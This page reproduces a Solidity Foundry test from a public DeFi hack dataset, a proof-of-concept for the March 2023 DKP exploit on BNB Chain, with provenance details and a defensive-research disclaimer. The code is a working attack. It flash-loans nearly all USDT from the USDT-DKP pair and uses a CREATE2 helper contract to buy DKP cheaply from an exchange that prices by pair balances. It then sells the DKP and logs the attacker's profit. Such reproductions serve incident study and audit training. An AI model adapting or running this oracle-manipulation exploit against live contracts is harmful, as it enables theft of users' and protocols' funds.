Public reproduction file
src/test/2023-03/DKP_exp.sol
Public reproduction file for dataset entry - DKP.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/CertiKAlert/status/16334219089967636489// @TX10// https://bscscan.com/tx/0x0c850f54c1b497c077109b3d2ef13c042bb70f7f697201bcf2a4d0cb95e7427111// https://bscscan.com/tx/0x2d31e45dce58572a99c51357164dc5283ff0c02d609250df1e6f4248bd62ee0112// @Summary13// There is an exchange method in the 0x89257 closed source contract for users to swap USDT for DKP tokens,14// but the price Oracle used is the ratio of the balance of the two tokens in the USDT-DKP pair,15// and the attacker manipulates this price through flashLoan, swapping a very small amount of USDT for a large amount of DKP and selling it for a profit17interface IDKPExchange {18 function exchange(19 uint256 amount20 ) external;21}23contract ContractTest is Test {24 IERC20 DKP = IERC20(0xd06fa1BA7c80F8e113c2dc669A23A9524775cF19);25 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);26 Uni_Pair_V2 Pair = Uni_Pair_V2(0xBE654FA75bAD4Fd82D3611391fDa6628bB000CC7);27 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);28 IDKPExchange DKPExchange = IDKPExchange(0x89257A52Ad585Aacb1137fCc8abbD03a963B9683);30 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);32 function setUp() public {33 cheats.createSelectFork("bsc", 26_284_131);34 cheats.label(address(DKP), "DKP");35 cheats.label(address(USDT), "USDT");36 cheats.label(address(Pair), "Pair");37 cheats.label(address(Router), "Router");38 cheats.label(address(DKPExchange), "DKPExchange");39 }41 function testExploit() public {42 deal(address(USDT), address(this), 800 * 1e18);43 exchangeDKP();44 DKPToUSDT();46 emit log_named_decimal_uint(47 "Attacker USDT balance after exploit", USDT.balanceOf(address(this)) - 800 * 1e18, USDT.decimals()48 );49 }51 function exchangeDKP() internal {52 uint256 flashAmount = USDT.balanceOf(address(Pair)) * 9992 / 10_000;53 Pair.swap(flashAmount, 0, address(this), abi.encode(flashAmount));54 }56 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {57 bytes memory contractByteCode = type(ExchangeDKP).creationCode;58 uint256 salt = uint256(keccak256("salt"));59 address receiver = getAddress(contractByteCode, salt);60 USDT.transfer(receiver, 100 * 1e18);61 new ExchangeDKP{salt: keccak256("salt")}();62 uint256 returnAmount = abi.decode(data, (uint256)) * 10_000 / 9975 + 1000;63 USDT.transfer(address(Pair), returnAmount);64 }66 function DKPToUSDT() internal {67 DKP.approve(address(Router), type(uint256).max);68 address[] memory path = new address[](2);69 path[0] = address(DKP);70 path[1] = address(USDT);71 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(72 DKP.balanceOf(address(this)), 0, path, address(this), block.timestamp73 );74 }76 function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {77 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));78 return address(uint160(uint256(hash)));79 }80}82contract ExchangeDKP {83 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);84 IERC20 DKP = IERC20(0xd06fa1BA7c80F8e113c2dc669A23A9524775cF19);85 IDKPExchange DKPExchange = IDKPExchange(0x89257A52Ad585Aacb1137fCc8abbD03a963B9683);87 constructor() {88 USDT.approve(address(DKPExchange), type(uint256).max);89 DKPExchange.exchange(100 * 1e18);90 DKP.transfer(msg.sender, DKP.balanceOf(address(this)));91 }92}Analysis
Dataset entry
Public Foundry test for “- DKP” (2023-03-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
8 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-03/BIGFI_exp.solSame month in the dataset · 89 lines
- src/test/2023-03/DBW_exp.solSame month in the dataset · 195 lines
- src/test/2023-03/Euler_exp.solSame month in the dataset · 148 lines
- src/test/2023-03/paraspace_exp.solSame month in the dataset · 284 lines
- src/test/2023-03/Phoenix_exp.solSame month in the dataset · 123 lines
- src/test/2023-03/poolz_exp.solSame month in the dataset · 364 lines
- src/test/2023-03/safeMoon_exp.solSame month in the dataset · 168 lines
- src/test/2023-03/Thena_exp.solSame month in the dataset · 104 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- DKP
- Path
- src/test/2023-03/DKP_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 54f77742c91314722cf6ab675eb6ad6ba87051bb
- Language
- Solidity
- Size
- 93 lines
- Date
- 2023-03-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-03/DKP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 54f77742c91314722cf6ab675eb6ad6ba87051bb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.